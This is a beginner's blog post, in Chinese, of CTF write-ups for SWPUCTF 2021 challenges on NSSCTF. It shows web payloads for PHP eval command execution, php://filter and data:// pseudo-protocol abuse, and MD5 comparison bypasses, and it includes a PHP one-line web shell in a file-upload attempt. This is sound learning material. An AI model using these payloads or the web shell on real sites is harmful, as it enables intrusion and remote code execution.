新手小白,开启CTF刷题之路(持续更新)
此处主要在NSSCTF平台(NSSCTF | 在线CTF平台)上开展刷题
[SWPUCTF 2021 新生赛]gift_F12
环境打开如下:
根据题目提示,直接F12看源码
flag get
[SWPUCTF 2021 新生赛]easyrce
打开环境后,显示源码如下
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?>
审查源码可知,要求传入参数url,构造payload如下
http://node1.anna.nssctf.cn:28985/?url=ls
返回如下,无回显
查询eval函数使用方法可知:eval — 把字符串作为PHP代码执行,因此需要在eval函数内构造包含系统函数的PHP语句,据此,构造payload
http://node1.anna.nssctf.cn:28985/?url=system("ls");
测试结果
现在就是找flag了,再次构造payload,利用Linux特性,使用;号并行执行命令开展测试,直至发现疑似flag的文件
http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;ls%22);
构造payload查看flllllaaaaaaggggggg
http://node1.anna.nssctf.cn:28985/?url=system(%22cd%20..;cd%20..;cd%20..;cat%20flllllaaaaaaggggggg%22);
flag get
[SWPUCTF 2021 新生赛]PseudoProtocols
打开环境,显示如下:
根据题目PseudoProtocols,应该是采用伪协议读取hint.php,因此构造payload
http://node2.anna.nssctf.cn:28924/index.php?wllm=php://filter/read=convert.base64-encode/resource=./hint.php
执行回显如下:
出现的字符串丢进base64转码器解码,获得结果:
<?php
//go to /test2222222222222.php
?>
好家伙,还有一层,继续构造payload
http://node2.anna.nssctf.cn:28924/index.php?wllm=test2222222222222.php
回显如下:
审查代码,发现要求传入参数a,且a通过file_get_contents函数值获取的值为I want flag时获得flag(注:file_get_contents函数 — 将整个文件读入一个字符串,使用语法为:file_get_contents(filename, include_path, context, start, max_length))。
那么,考虑使用PHP伪协议中的data协议传参(参考PHP伪协议_慕晨sekurlsa的博客-CSDN博客),因此构造payload如下:
http://node2.anna.nssctf.cn:28924/test2222222222222.php/?a=data://text/plain;base64,SSB3YW50IGZsYWc=
flag get
[SWPUCTF 2021 新生赛]easy_md5
打开环境,代码如下:
<?php
highlight_file(__FILE__);
include 'flag2.php';
if (isset($_GET['name']) && isset($_POST['password'])){
$name = $_GET['name'];
$password = $_POST['password'];
if ($name != $password && md5($name) == md5($password)){
echo $flag;
}
else {
echo "wrong!";
}
}
else {
echo 'wrong!';
}
?>
审计代码,发现题目要求为,使用GET方式传入name参数,使用POST方式传入password参数,且两个参数值的md5值相等。
此题为典型的md5绕过,因此参考MD5绕过_H3rmesk1t的博客-CSDN博客
构造payload如下:
flag get
注,上个方法中,采用传入数组方式解题,因md5()函数在对数组进行编码时,会导致报错返回NULL值,故传参name[]=1和password[]=2使得两者md5值均为NULL。
方法二为采用科学计数法绕过。
PHP存在一种特性为,将科学计数法0e*****作为0计算,因此当两个参数经md5加密后,表现形式为0e开头时,两者即被认为相等,参考MD5 函数的绕过_md5绕过_菜菜zhao的博客-CSDN博客,分别构造payload如下:
执行后同样可以获得结果。
[SWPUCTF 2021 新生赛]easyupload1.0
打开环境,显示如下:
尝试上传一句话木马:
<?php eval($_POST[1]);?>
虽然知道肯定不会这么简单,但,人嘛
果然啪啪打脸:
好吧,那就上个图片马,上传时使用BP抓包修改为PHP后缀试试:
然后提示文件太大了……